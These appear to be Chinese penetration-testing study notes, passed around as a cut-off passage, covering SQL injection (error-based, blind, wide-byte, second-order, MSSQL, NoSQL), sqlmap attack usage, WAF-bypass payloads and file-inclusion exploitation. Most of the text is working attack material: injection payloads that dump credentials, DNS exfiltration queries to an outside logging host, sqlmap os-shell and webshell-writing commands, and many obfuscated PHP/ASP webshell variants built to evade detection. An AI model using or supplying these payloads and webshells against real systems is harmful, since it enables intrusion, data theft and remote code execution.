http://127.0.0.1/sqli-labs-master/Less-5/?id=1 ' and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='user' and table_schema=database() limit 2,1),0x7e))--+
step 5:字段内容
http://127.0.0.1/sqli-labs-master/Less-5/?id=1 ' and extractvalue(1,concat(0x7e,(select concat(username,'|',password) from users limit 0,1),0x7e))--+
基于时间的盲注
函数:
sleep() benchmark() 要与条件类函数配置使用
sleep(参数) 参数直接写以秒为单位的时间数字 sleep(5)
返回值是0
select * from users where id=1 and select if(1=1,sleep(5),'bye');
benchmark(参数1,参数2) 参数1 表示执行某项操作的次数 参数2 某项操作,函数或者表达式
select if(length(user())>4,benchmark(5000000,md5('abc')),'bye')
实验操作:
step 1 :找注入点
step 2:数据库信息
当前数据库长度:select * from users where id=1 and select if(length(database())=4,sleep(5),'bye');
探测数据库名的每个字符:
select * from users where id=1 and select if(ascii(subtring(database(),1,1))=107,1,sleep(5));
dvwa
step 3:获取数据库中的表
select * from users where id=1 and select if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))>100,1,sleep(5));
step 4:获取字段名
select * from users where id=1 and select if((ascii(substr((select column_name from information_schema.columns where table_name='users'and table_schema=database() limit 0,1),1,1)))>100,1,sleep(5));
step 5:获取字段内容
select * from users where id=1 and select if((ascii(substr(( select password from users limit 0,1),1,1)))=68
,1,sleep(5));
伪静态页面搭建
http://www.school.com/index.asp?id=1
http://www.school.com/1.html
http://www.school.com/add_1.html
1/首先需要开启站点重写机制
修改配置,LoadModule rewrite_module modules/mod_rewrite.so 前面的#去掉 重启apache
2/接下来新建 .htaccess 在文件中写上重写规则
RewriteEngine on
RewriteRule ([0-9]{1,})$ index.php?id=$1
3/apache 支持解析.htaccess文件
修改配置文件
AllowOverride None 修改如下
AllowOverride All
4/访问URL:http://127.0.0.1/1.html
宽字节注入:
常见的转义函数:
addslaches()
mysql_real_escape_string()
mysql_escape_string() 注意:php5.3以及之后就废除
魔数引号GPC模块 magic_quotes_gpc
对特殊字符进行转义 ' " \ NULL等
\' \" \\ \
mysql_real_escape_string() 不会对% 和 _转义
gbk编码:GB2312的一个扩展,使用两个字节编码一个汉字 8140-FEFE
漏洞原因:
数据库采用GBK编码
对用户输入的数据进行转义
http://127.0.0.1/kuanzijie?id='1%df''
http://127.0.0.1/kuanzijie?id='1%df\''
http://127.0.0.1/kuanzijie?id=1%df%5c'
http://127.0.0.1/kuanzijie?id='1運''
二次解码注入
过滤函数(转义函数)
常见的转义函数:
addslaches()
mysql_real_escape_string()
mysql_escape_string() 注意:php5.3以及之后就废除
魔数引号GPC模块 magic_quotes_gpc
urldecode() URL解码
浏览器出去的数据会被进行URL编码 到达服务器之后默认会被URL解码
测试URL:
http://127.0.0.1/Secondary_code_injection/urldecode.php?id=0%2527 union select 1,user(),3%23
PDO宽字节
1、数据库使用GBK编码
2、使用转义函数,如addslaches()
3、PHP版本<5.3.6 使用PDO连接数据库,设置编码方式GKB,没有参数过滤,存在SQL注入
http://192.168.11.159/PDO/PDO_kuanjiezi.php?id=-1%df' union select 1,2,3,user(),5,6,7,8%23
宽字节的防御(代码层防御):
对宽字节编码的最好的修补方法:
(1)使用mysql_Set_charset(GBK)
(2)使用mysql_real_escape_string()转义参数
原因:
mysql_real_escape_string与addslashes的不同之处在于其会考虑当前设置的字符集,不会出现前面df和5c拼接为一个宽字节的问题,使用mysql_set_charset进行指定字符集。 以上两点同时满足
二次注入
是指已存储的数据(脏数据)在被读取后再次进入到SQL查询语句中导致的注入
二次注入原理:
第一次在进行数据库插入数据的时候,仅仅使用addslashes() 或者魔数引号GPC ,对其中的特殊数据进行转义,在存入数据的时候保留其原来的格式,也即还是脏数据。
在下一次进行需要进行查询的时候,直接从数据库中取出了脏数据,没有进行进一步的检验和处理,取来这些脏数据放在SQL语句中去查询,这样就会造成SQL的二次注入
,(select admin_pass from admin limit 0,1),);#
INSERT INTO comment(user_name,comment_text,pub_date) VALUES (' uuu\', ' ,(select admin_pass from admin limit 0,1),);
uuu\
uuu\ --->$_SESSION
UPDATE users SET PASSWORD='123456' where username='superman'
HTTP头部注入
Cookie注入
$_POST[]
$_GET[]
$_REQUEST[]
post和get方式被过滤,只能通过cookie传递数据,刚好服务器没有过滤cookie中的数据,然后在cookie中添加测试的payload
javascript:alert(document.cookie="id="+escape("25"))
user_agent:
XFF注入 x-forwarded-for:
巡风:内网扫描工具
HTTP报头追踪漏洞
服务器启动trace方法,用来回显服务器收到的请求,利用这个方法如下攻击:
(1)进行XSS攻击,获取用户浏览器中cookie
(2)通过其返回的信息了解到站点前端的信息,缓冲信息等
(3)如何站点设置HTTPONLY头标记,或者禁止通过脚本读取cookie,使用该方法可以读到cookie
如何检测服务器是否开启TRACE方法?
1、拦截数据包,修改发送数据的方法
2、curl 测试
防御:
HTTP/1.1(RFC2616)规范定义了HTTP TRACE方法,主要是用于客户端通过向Web服务器提交TRACE请求来进行测试或获得诊断信息。当Web服务器启用TRACE时,提交的请求头会在服务器响应的内容(Body)中完整的返回,其中HTTP头很可能包括Session Token、Cookies或其它认证信息。攻击者可以利用此漏洞来欺骗合法用户并得到他们的私人信息。该漏洞往往与其它方式配合来进行有效攻击,由于HTTP TRACE请求可以通过客户浏览器脚本发起(如XMLHttpRequest),并可以通过DOM接口来访问,因此很容易被攻击者利用。
防御HTTP报头追踪漏洞的方法通常禁用HTTP TRACE方法。
修改配置文件:2.0 >apache
TraceEnable off
SQL注入工具:
明小子 啊D 罗卜头 穿山甲 SQLMAP
下载sqlmap github
介绍开源自动化注入利用工具,支持12数据库 /plugins中可以看到支持的数据库
支持的注入类型:bool time 报错 union 堆查询 内联
可以获取用户名、密码、权限、角色、数据库(表、字段、内容)
可以爆破识别密文数据
getshell
命令执行
sqlmap的目录介绍:
doc 介绍文档(作者 工具)
extra sqlmap额外的功能,运行cmd ,执行命令
lib sqlmap 的核心功能代码
plugins 包含12中数据库识别的程序
procs 包含了(mssql mysql oracle postgresql )数据库触发的程序
shell shell远程命令、后门
tamper 包含各种绕过WAF的处理脚本
thirdparty 包含第三方插件 颜色 优化
txt 表名 列名 UA字典
udf 存放攻击载荷
waf 识别WAF的脚本
XML 存放检测payload
内联注入
mysql> select (select 1);
+------------+
| (select 1) |
+------------+
| 1 |
+------------+
1 row in set (0.00 sec)
堆查询
mysql> select * from news;select 1,2,3,4,user(),version();
+-----+----------+----------------+
| tid | title | content |
+-----+----------+----------------+
| 1 | 新闻1 | 这是第一篇文章 |
| 2 | 新闻2 | 这是第二篇文章 |
| 3 | 新闻1 | 这是第三篇文章 |
| 4 | 新闻3 | 这是第二篇文章 |
| 5 | 这是标题 | 这是内容 |
| 6 | 这是标题 | 这是内容 |
+-----+----------+----------------+
6 rows in set (0.00 sec)
+---+---+---+---+----------------+-----------+
| 1 | 2 | 3 | 4 | user() | version() |
+---+---+---+---+----------------+-----------+
| 1 | 2 | 3 | 4 | root@localhost | 5.5.47 |
+---+---+---+---+----------------+-----------+
1 row in set (0.00 sec)
sqlmap的工作流程:
(1)初始化
(2)开始检测
0>检测之前是否注入过
会把当前检测URL 默认存放在用户家目录中的.sqlmap下output
--output-dir可指定存放的目录
1>解析URL,判断URL是否可访问
2>检测是否有WAF
sqlmap -u "target_url" --identify-waf
sqlmap -u "target_url" --check-waf
3>开始对注入点检测
判断是否可注入
判断注入请求类型(post get)
判断注入类型(xml/payloads)
4>执行用户输入的参数
-u 指定URL
-p 指定参数
-v 指定显示级别
--dbs 数据库名
--tables 表名
--columns 列名
--dump 获取数据
--batch 跳过问询(yes)
--dbms 指定数据库类型
………………
步骤详解:
(1)判断是否有注入点
sqlmap -u "target_url"
看最终的结果中有没有环境参数(系统和数据库)
(2)查看所有数据库
sqlmap -u "target_url" --dbs --dbms mysql
(3)获取当前数据库
sqlmap -u "target_url" --current-db --dbms mysql
(4)获取当前数据库下表
sqlmap -u "target_url" -D jdycms --dbms mysql --tables --batch -v
(5) 获取当前数据库中指定表下的字段
sqlmap -u "target_url" -D jdycms -T jdy_admin --columns
(6) 获取字段对应的数据内容
sqlmap -u "target_url" -D jdycms -T jdy_admin -C username,password --dump
对加密的密码进行彩虹表攻击
http://www.target.com/index.php?pa1=1&pa2=submit
sqlmap -u "target_url" -p "pa1"
以上针对GET注入
POST型注入利用方法:
拦截数据包保存txt文件 post.txt
python sqlmap.py -r post.txt -p "uname"
cookie 注入
cookie型注入利用方法:
python sqlmap.py -u "target" --cookie "uname=12" --level 2
access注入(注意其特性,只有表和表下的字段内容)
1>先探测注入点
2>获取数据库表
3>获取字段
4>获取字段内容
SQLMAP利用mysql注入进行DDOS攻击()
python sqlmap -u "target_url" --sql-shell
select benchmark(9999999999999999,0x70726f62616e646f70726f62616e646f70726f62616e646f);
SQLMAP 自动化收索 --forms
sqlmap.py -u "target_url" --forms
SQLMAP 指定参数搜索 --data
sqlmap.py -u "target_url" --data "uname=1&passwd=2"
SQLMAP 伪静态注入利用
http://192.168.10.179/1.html
??sqlmap.py -u "http://192.168.10.179/1*.html"
SQLMAP 注入点执行系统命令或者交互式shell
(条件:1、数据库有写文件权限、2、测试需要知道其WEB站点路径)
sqlmap.py -u "target_url" --os-cmd=ipconfig
sqlmap.py -u "target_url" --os-shell
sqlmap.py -u "target_url" --is-dba 判断当前用户是否为管理员
延时注入 --delay 2 延时2S注入
sqlmap.py -u "target_url" --delay 3
查看权限 --peivileges 查看用户的权限
当前用户 --current-user
所有用户 --users
数据库密码 --passwords
-v 0-6
"0、只显示python错误以及严重的信息。
1、同时显示基本信息和警告信息。(默认)
2、同时显示debug信息。
3、同时显示注入的payload。(建议使用此级别,可显示注入参数)
4、同时显示HTTP请求。
5、同时显示HTTP响应头。
6、同时显示HTTP响应页面。"
-–level=LEVEL 执行测试的等级(1-5,默认为1)
--level对测试参数的影响,一共有五个等级,默认为1,sqlmap使用的payload可以在payloads.xml中看到,你也可以根据相应的格式添加自己的payload内容,默认也有一些,可定制。--level的值大于等于2的时候也会测试HTTP Cookie头的值,大于等于3的时候也会测试User-Agent和HTTP Referer头的值,建议最高级别,会更慢、测试参数更复杂。
-–risk=RISK 执行测试的风险(0-3,默认为1)
从0-3共有四个风险等级,默认是1,risk1会测试大部分的测试语句,risk2会增加基于事件的测试语句,3会增加OR语句的注入测试。测试的语句同样可以在payloads.xml中找到,可以自行添加payload。警告:当使用高级别时,可能会使用drop、update等高危语句对整表、整库造成影响,可能导致更新的整个表,可能造成很大的风险。
通过sqlmap 读写文件
-–file-read=RFILE 从后端的数据库管理系统文件系统读取文件 (物理路径)
-–file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件 (mssql xp_shell)
-–file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径
python sqlmap.py -u "http://192.168.11.176/sqli-labs-master/Less-1/?id=1" --file-read="G:\phpStudy\WWW\t1.txt"
python sqlmap.py -u "http://192.168.11.176/sqli-labs-master/Less-1/?id=1" --file-dest="G:\\phpStudy\\WWW\\result.txt" --file-write="c:\\test.txt"
c:\\test.txt <% eval Request("cmd") %>
python sqlmap.py -u "target_url" --file-dest="/var/www/shell.php" --file-write="c:\\test.txt"
SQLMAP 直连mysql
python sqlmap.py -d "mysql://root:root@192.168.11.176:3306/mysql" -f -
-banner --dbs --users
获取系统信息--hostname
获取数据库信息 --banner
获取数据库用户角色 --roles
批量检测:python sqlmap.py -m target.txt --beep
DNSLOG在盲注中使用
load_file() 读文件
max_allowded_packet= 120M 可以修改数据库读取文件的大小
SELECT LOAD_FILE(CONCAT('\\\\',(select user()),'.mysql.7j18gd.ceye.io\\abc'));
select load_file(concat('\\\\\\\\',(select user()),'.7j18gd.ceye.io\\abc'));
SELECT LOAD_FILE(CONCAT('\\\\',(select table_name from information_schema.tables where table_schema='security' limit 1,1),'.7j18gd.ceye.io\\abc'));
select if ((SELECT LOAD_FILE(CONCAT('\\\\',(select table_name from information_schema.tables where table_schema='security' limit 1,1),'.7j18gd.ceye.io\\abc'))),1,1);
OOB技术(带外数据)
MSSQL手工注入:
step 1:判断注入点
step 2:判断数据库类型:
select * from sysobjects
http://target.com?id=1 and exists(select * from sysobjects)
step 3:注入点权限判断
其返回值是1
select IS_SRVROLEMEMBER('sysadmin'); 判断当前是否为sa
select is_srvrolemember('db_owner'); 判断当前用户写文件、读文件的权限(db_owner)
select is_srvrolemember('public');判断是否有public权限,可以爆破表
报错方法
http://target.com?id=1 and (select IS_SRVROLEMEMBER('sysadmin'))>0
step 4:信息收集
数据库版本 select @@version
http://target.com?id=1 and (select @@version )=1
http://target.com?id=1 and user>0
查询当前数据库(报错技术)
http://target.com?id=1 and 1=(select db_name())
http://target.com?id=1 and 1=(convert(int,db_name()))
db_name(n)表示第几个数据库
获取其他数据库
SELECT top 1 Name FROM Master..SysDatabases where name not in ('master','aspcms');
select DB_NAME(1);
step 5:获取当前数据库下的表
select top 1 name from aspcms.sys.all_objects where type='U' AND is_ms_shipped=0
select top 1 name from aspcms.sys.all_objects where type='U' AND is_ms_shipped=0 and name not in ('AspCms_Collect_Content')
step 6:获取当前数据库下指定表的字段名
如:AspCms_User
select top 1 COLUMN_NAME from aspcms.information_schema.columns where TABLE_NAME='AspCms_User'
select top 1 COLUMN_NAME from aspcms.information_schema.columns where TABLE_NAME='AspCms_User' and COLUMN_NAME not in ('UserID','GroupID','LanguageID','SceneID','LoginName','Password')
step 7:获取字段内容
select top 1 LoginName from AspCms_User
select top 1 Password from AspCms_User
http://target.com?id=1 and 1=(select top 1 Password from AspCms_User)
MSSQL的xp_cmdshell扩展 sa
Select count(*) FROM master. dbo.sysobjects Where xtype ='X' AND name = 'xp_cmdshell'
exec master..xp_cmdshell 'net user '
NOSQL注入
monogoDB介绍和使用
基于分布式文件存储数据库 使用C++ 可以存储任何数据(文件)
允许在服务器端执行脚本,JS 编写某些函数
使用JSON形式存储
支持的编程语言:PHP ruby pyton C++ C# java 等等
使用db 表示当前数据库
sql nosql
database database
table collection(集合)
row (行、记录) 文件(document)
column(字段) field
index(索引) index
table join
主键 主键
select * from news;
db.users.find().pretty() 查看表(users)所有数据
创建数据库
use 数据库名
db 查看当前数据库
show databases
show dbs 查看所有数据库
db.集合名.insert({key:value})
db.集合名.insert({key1:value1,key2:value2})
删除数据库
db.dropDatabse()
删除集合
db.集合名.drop()
创建集合
db.集合名.insert({key1:value1,key2:value2})
show 集合名
show collections 查看所有集合(表)
插入文档
db.集合名.insert(document)
查看文档
db.集合名.find()
更新文档
db.集合名.update(
<条件>,
<更新操作符号>,
{
[可选项]
}
)
db.OP.update({"test1":"12"},{$set:{"test1":"13"}})
修改多条:
db.OP.update({"test1":"12"},{$set:{"test1":"13"}}),{multi:true}
删除文档
db.集合名.remove({文档})
db.集合名.deleteMany({})删除所有的文档
查询
db.集合名.find().pretty() 所有文档
有条件查询
= {key:value} 寻找key=value的文档
< {key:{$lt:value}} 寻找key<value的文档
> {key:{$gt:value}} 寻找key>value的文档
<= {key:{$lte:value}} 寻找key<=value的文档
>= {key:{$gte:value}} 寻找key>=value的文档
!= {key:{$ne:value}} 寻找key!=value的文档
db.demo.find({"成绩":{$gte:90}})
and 条件
db.集合名.find({"英语成绩":{$gte:90},"物理成绩":{$gte:80}})
or 条件
db.集合名.find($or:[{"英语成绩":{$gte:90},"物理成绩":{$gte:80}}])
PHP 操作MonogoDB
monogo (面向过程)
monogodb (面向对象)
db.users.find({"username":{$ne:"123"},"password":{$ne:"45"}}) 重言式
JS注入
function login()
{
var username = 'a'; return true; var a='';
var password = '1';
if(username == 'admin' && password == '123456') return true;
else{ return false;}
}
账号:a'; return true; var a='
密码:1
shell拼接利用
http://192.168.10.33/cmd.php?username=%22});db.messages.insert({%22name%22:%22wangwu%22});db.messages.find({%22author%22:%221
?username="});db.messages.insert({"name":"wangwu"});db.messages.find({"author":"1
db.messages.find({"author":" "});db.messages.insert({"name":"wangwu"});db.messages.find({"author":"1 "}).sort({"addtime":-1});
正则查询:
db.集合民.find({"name":{$regex:"^a"}})
username[$regex]=^zs§l§&password[$regex]=^12§1§&submit=%E7%99%BB%E5%BD%95
bypass
WAF:web application firewall 入侵防御系统 WEB防火墙 DDOS sql XSS XXE 等
分类:
代码WAF 规则写在代码中
软件WAF 实时监听端口(服务)
硬件WAF 专门的硬件设备 代理流量(网络镜像) 分析流量
云WAF 流量传到检测节点中做检测
WAF工作流程:
身份验证
白名单(IP cookie useragent referer) 黑名单
数据包解析
匹配规则
ACL()
过规则的常用方法:
1、大小写 select * from users where id ='1 ' uNion SelEcT 1,2,3,4--+
2、替关键字(关键字重复写) select * from users where ID=1 ununionion selselectect 1,2,3,4%23
3、编码 select * from users where id=2%2bunion%2bselect%2b1,2,3,4--+
union ---> 0x756e696f6e20
select * from users where ID=1 %75nion select 1,2,3,4%23
4、内联注释 /* */ union/**/select/**/1,2,3%23
5、等价函数替换 verion() @@version mid substr substring @@datadir datadir()
6、特殊符号 + # %23 --+ \\\\
select`version()`
@符号,select @……1.from users;
7、内联注释加! select * from users where id = 1 /*!union//**//*!select//**/1,2,3,4--+
8、缓冲区溢出
?id=1 and (select 1)=(Select 0xA*1000) uNiOn SeLeCt 1,2,version(),4,5,database(),version(),8,9,10,11,12,13,14,15,16,17,18
栗子上的 0xA*1000 指的是0XA后面的 "A" 重复1000次,一般来说对应用软件构成缓冲区溢出都需要比较大的测试长度,这里1000仅供参考,在一些情况下也可以更短
9、mysql 特性绕过
= 等于
:= 赋值
@ @+变量名可直接调用 select @test:=user();
注释符号 /**/ --(空格) #
/!**/ /*!50000select*/
select * from news where tid=1 union /*!50000select*/ 1,2,3;
/*!union*/
(/*!%53ELECT*/+/*!50000GROUP_CONCAT(table_name%20SEPARATOR%200x3c62723e)*//**//*!%46ROM*//**//*!INFORMATION_SCHEMA.TABLES*//**//*!%57HERE*//**//*!TABLE_SCHEMA*//**/LIKE/**/DATABASE())
换行 123%0A123
隐私类型转换
select 'a'=0;
select '1admin'=1;
综合探索
内联注释
黑魔法:select{x user}from{x mysql.user};
换行符绕过:%23%0a %2d%2d%0a
select * from admin where id=1[1] union [2] select [3]1,user()[4] from [5]admin
第一部分:
(1)/**/ /*!50000union*/
(2)空白%09 %0a %0b %0c %0d %20
id=1%0bunion select 1,user() from admin
(3)浮点数形式 1.2 4.2
id=1.0union select 1,user() from admin
(4)1E0
id=1e0nuion select 1,user() from admin
(5)\
id=\Nunion select 1,user() from admin
第二部分:
(1)空白
(2)注释符 /**/ /*123213*/
(3)括号 id=1 union(select 'test','1',(select user() from admin limit 0,1))
第三部分:
(1)空白
(2)注释符号
(3)其他字符:
! %21
+ %2b
- %2d
@ %40
~ %7e
select * from admin where id=1 union select~1,user(),version()
(4)其他方式:
括号 select * from admin where id=1 union select(1),user(),version()
内联 select * from admin where id=1 union /*!50000select*/1,user(),version()
{} select * from admin where id=1 union select{x 1} user(),version()
" " select * from admin where id=1 union select"1" user(),version()
\N select * from admin where id=1 union select\N ,user(),version()
第四部分:
(1)空白
(2)注释符
(3)其他符号
` %60 select * from admin where id=1 union select 1,2`from admin`;(注意闭合)
“” select * from admin where id=1 union select 1,2"from admin";
内联注释符号
括号
加字母 select * from admin where id=1 union select 1,2"A"from admi;(???)
(4)浮点数、1E0 、\N
第五部分:
(1)空白
(2)注释符号
(3)其他符号
破则号- select * from admin where id=1 union select 1,2 from-admin;(中文的)
内联注释符号
{} select * from admin where id=1 union select 1,2 from{x admin};
()
某版本的安全狗测试盲注:
and //不拦截
and a //不拦截
and !//不拦截
and 1 //拦截
可以发现,当and连接数字时waf会进行拦截,因此只需要在数字或者and与数字中间进行干扰即可。
参数污染
第一步测试注入点
and /*!1=1*/
and--+a%0a1/*!=*/1
and @s1ye:=1/0
-1' union--+x%0aselect 1,2,3--+
第二步信息收集
测试当前数据库的长度:and @s1ye:=length(database/**/())>0--+
利用MySQL的隐式类型转换进行盲注
简单说一下:
select * from test where id = '1 '-(length(database())>0)+'1';
即 id= 1-1+1
第三步读取数据库数据
-1' union--+x%0aselect 1,2,group_concat(table_name) from information_schema.tables where table_schema = database()--+
测试注入点
http://192.168.10.34/index.jsp?id=1/**/And/**/1=2
确定列数
http://192.168.10.34/index.jsp?id=1/**/Order/**/by/**/1
http://192.168.10.34/index.jsp?id=0/**/Union/**/Select/**/2
信息收集
http://192.168.10.34/index.jsp?id=0/**/Union/**/Select/**/@@datadir
当前数据库
http://192.168.10.34/index.jsp?id=0/**/Union/**/Select/**/database()
获取表
http://192.168.10.34/index.jsp?id=0/**/Union/**/(Select/**/Group_concat(table_name)/**/From/**/InfOrmation_schema.tables/**/Where/**/table_schema=database())
字段名
http://192.168.10.34/index.jsp?id=0/**/Union/**/(Select/**/Group_concat(column_name)/**/From/**/InfOrmation_schema.columns/**/Where/**/table_schema=database()/**/And/**/table_name=0x666c6167)
获取字段内容
http://192.168.10.34/index.jsp?id=0/**/Union/**/(Select/**/flag/**/From/**/flag)
JSONP注入学习
sqlmap tamper功能
space2comment 将空格转换为注释符号
urlencode2 2次URL编码
1' %25%33%31%25%32%37
1' and 1=1# %25%33%31%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%33%31%25%33%64%25%33%31%25%32%33
1' and 1=2# %25%33%31%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%33%31%25%33%64%25%33%32%25%32%33
1' order by 1#
phpmyadmin getshell的两种姿势
(1)select "一句话" into outfile "/var/www/html/webshell.php" (注意模块:secure_file_priv)
(2)开通日志记录功能,并将文件位置修改为WWW
SHOW VARIABLES LIKE '%general%'
set global general_log='on'
set global general_log_file='G:/phpStudy/WWW/do.php'
select'<?php eval($_POST[k]);?>'
木马的分类:
一句话 代码量少 体积小 不易被发现 功能少
小马 代码量较少 体积较小 基本功能都有(文件管理、命令执行、数据库管理)
大马 代码量多 体积大 容易发现 功能多
LAMP/WAMP PHP一句话 <?php eval($_POST['cmd']);?>
IIS ASP一句话 <% eval request("cmd")%>
IIS ASPX一句话 <%@ Page Language="Jscript"%><%eval(Request.Item["pass"],"unsafe");%>
Tomcat JSP一句话 太多
文件上传
南方数据后台数据库备份getshell
emlog_5.2.0后台数据库备份直接getshell
一句话木马变形
简单变形:
(1)$a=str_replace("x", "", "axsxxxxsxexrt");
$a($_POST["cmd"]);
(2)$_GET["k"]($_GET["v"]);
(3)preg_replace函数
<?php
($code=$_POST["code"])&&
preg_replace("/pen/e", '@'.str_rot13('riny').'($code)', "pentest");
?>
(4)自定义函数create_function()
<?php $fun=create_function('',$_POST['a']);
$fun();
(5)回调函数 call_user_func()
<?php
@call_user_func(assert,$_POST['a']);
?>
(6)file_put_contents函数
<?php
$test='<?php $a=$_POST["cmd"];assert($a); ?>';
file_put_contents("shell.php", $test);
?>
其他方式:
PHP变量函数
<?php
$a = "eval";
$a(@$_POST['a']);
?>
PHP可变变量
<?php
$bb="eval";
$a="bb";
$$a($_POST['a']);
?>
str_replace函数
<?php
$a=str_replace("Waldo", "", "aWaldossert");
$a(@$_POST['a']);
?>
base64_decode函数
<?php
$a=base64_decode("ZXZhbA==");
$a($_POST['a']);
?>
$_base64_decode("YXNzZXJ0");
$_(str_rot13('riny($_CBFG[cntr]);'));
"."操作符
<?php
$a="e"."v";
$b="a"."l";
$c=$a.$b;
$c($_POST['a']);
?>
parse_str函数,将查询字符串解析到变量中
<?php
$str="a=eval";
parse_str($str);
//$a=eval
$a($_POST['a']);
?>
http://192.168.11.59/convert/th4.php?e=assert(assert可用作回调函数)
array_filter函数 用回调函数过滤数组中的元素
$e = $_REQUEST['e'];
$arr = array($_POST['pass'],);
array_filter($arr, $e);
array_map函数,将函数作用到数组中的每个值上,做相应的处理,并返回带有新值的数组:
$e = $_REQUEST['e'];
$arr = array($_POST['pass'],);
array_map($e, $arr);
uasort函数,使用用户自定义的比较函数对数组 $arr 中的元素按键值进行排序:PHP>5.4
$e = $_REQUEST['e'];
$arr = array('test', $_REQUEST['pass']);
uasort($arr, $e);
加密类变形
if(isset($_POST['com'])&&md5($_POST['com'])== '202cb962ac59075b964b07152d234b70'&& isset($_POST['content'])) $content = strtr($_POST['content'], '-_,', '+/=');eval(base64_decode($content));
eval($_POST["cmd"])
http://www.target.com/shell.php cmd
content=JF9QT1NUWyJjbWQiXQ==
com=123
变量拼接类变形
<?php $sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s22=${strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2])}['n985de9'];if(isset($s22)){eval($s21($s22));}
?>
加密拼接类变形
<?php $_uU=chr(99).chr(104).chr(114);$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_uU(40).$_uU(36).$_uU(95).$_uU(80).$_uU(79).$_uU(83).$_uU(84).$_uU(91).$_uU(49).$_uU(93).$_uU(41).$_uU(59);$_fF=$_uU(99).$_uU(114).$_uU(101).$_uU(97).$_uU(116).$_uU(101).$_uU(95).$_uU(102).$_uU(117).$_uU(110).$_uU(99).$_uU(116).$_uU(105).$_uU(111).$_uU(110);$_=$_fF("",$_cC);@$_();?>
使用MSF生成网页木马
1、使用msfvenom 生成木马,并上传到目标机上
2、开启MSF并监听
3、浏览器访问木马文件
weevely3生成网页木马
文件包含
漏洞原理:include($_POST["file"])
(1)用户参数可控
(2)用户提交的文件名或者文件类型没有被过滤或者过滤不严谨
注意:包含过来的文件,不管是什么类型文件,只要文件中有PHP格式代码均可被解析
文件包含的四个函数:
include
include_once
requare
requare_once
allow_url_fopen:本选项激活允许include、include_once等函数使用URL形式的fopen封装协议,可以包含远程文件
allow_url_include:PHP>=5.2,本选项激活允许访问远端文件,并解析
文件包含的分类:
LFI(本地文件包含) 本地是指服务器本身
条件:无
漏洞危害:读取铭感信息(配置文件、服务器上配置文件等)
getshell
获取站点源码
有后缀名限制的文件包含:
%00截断 PHP<5.3
有前缀限制的文件包含:
使用目录跳转 ../ ./
RFI(远程文件包含) 包含第三方服务器中文件
条件:开启fopen 和 include
有条件的文件包含(追加后缀名)
PHP版本<=5.3
加#
加?
PHP版本<5.3
%00截断
说明:在php.ini中,allow_url_fopen默认一直是On,而allow_url_include从php5.2之后就默认为Off。
PHP伪协议****
php://input
条件:allow_url_include=on
allow_url_fopen不做要求
<?php fputs(fopen("shell.php","w"),"<?php eval(\$_POST['cmd']);?>");?>
php://filter
条件:无
读取文件中内容
file=php://filter/read=convert.base64-encode/resource=index.php
file=php://filter/convert.base64-encode/resource=index.php
file=php://filter/string.rot13/resource=index.php
<?php phpinfo();?>--ROT13--> <?cuc cucvasb();?> te.php
file=php://filter/string.rot13/resource=te.php (最后直接执行)
phar://
条件:php>=5.30
info.txt -->打包成zip文件
相对路径
phar://test.zip/phpinfo.txt
绝对路径
phar://G:/phpStudy/WWW/include/shell.zip/shell.txt
zip://
条件:php>=5.30
使用的过程中只能用绝对路径,在压缩包名后 写上%23
http://127.0.0.1/include/test.php?file=zip://G:/phpStudy/WWW/include/shell.zip%23shell
data://
条件:php>=5.2
allow_url_fopen=on
allow_url_include=on
利用方式1:
data://text/plain,<?php phpinfo();?>
利用方式2:
data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
data://text/plain;rot13,PD9waHAgcGhwaW5mbygpOz8%2b
可控的日志文件:
/var/log/apache/access.log
/var/log/apache/error.log
/var/log/vsftpd.log
/var/log/sshd.log
/var/log/mail
文件包含漏洞包含本地session最终实现RCE
获取服务器中session值
(/tmp/ 或者 /var/lib/php5/ )
/var/lib/php5/sess_19489b92b0d205a8d5a0d3078edbe526
login|s:3:"bee";admin|s:1:"1";token|s:40:"9218da4a38a2b572afc8cc3444455e51b22470e2";amount|i:1000;
<?php phpinfo();?>
包含日志文件getshell
首选服务器需要开启日志记录功能
?file=../../../../../../../../../var/log/apache/error.log (试试把UA设置为“”
来使payload进入日志)access.log
包含/proc/self/environ getshell
条件:PHP通过CGI去解析
/proc/self/environ可读
/proc/self/environ会记录用户的UA(user_agent)
修改UA为 <?php phpinfo();?>
open_basedir /var/www/html/:/tmp(允许活动的范围)
session.save_path /var/lib/php5 (session保存位置) 假
php1nFo.php
session.save_path /tmp/SESS 真
DVWA mid
http://127.0.0.1/DVWA-1.9/vulnerabilities/fi/?page=..././..././..././..././..././test.txt
http://127.0.0.1/DVWA-1.9/vulnerabilities/fi/?page=....//....//....//....//....//....//....//....//....//....//test.txt
http://127.0.0.1/DVWA-1.9/vulnerabilities/fi/?page=hthttp://tp://192.168.10.29:9009/phpinfo.txt
DVWA high
文件上传图片木马
路径为:..\..\hackable\uploads\lo.jpg
命令执行
127.0.0.1|copy ..\..\hackable\uploads\lo.jpg ..\..\vulnerabilities\fi\file.php
命令1|命令2
最后文件包含file文件
http://127.0.0.1/DVWA-1.9/vulnerabilities/fi/?page=file.php
[CVE-2014-8959] phpmyadmin任意文件包含漏洞
http://192.168.11.85/phpMyAdmin-4.0.10-all-languages/index.php?token=8609785778dbe880ddfc4216892c3b00#PMAURL-0:index.php?db=&table=&server=1&target=&token=8609785778dbe880ddfc4216892c3b00
http://192.168.11.85/phpMyAdmin-4.0.10-all-languages/
首先$gis_data = $_REQUEST['gis_data'];获取到gis_data,判断$gis_data['gis_type']是否已经存在,如果存在则跳过那 一大串if子句。最后就将$gis_data['gis_type'];赋值给$geom_type,并传入 PMA_GIS_Factory::factory函数。
实际这个利用方法很简单,简单到其实就是获取$_REQUEST['gis_data']['gis_type']并拼接到include_once中,造成任意文件包含。
http://192.168.11.85/phpMyAdmin-4.0.10-all-languages/gis_data_editor.php?token=8609785778dbe880ddfc4216892c3b00&gis_data[gis_type]=/../../ ../../ll.png%00
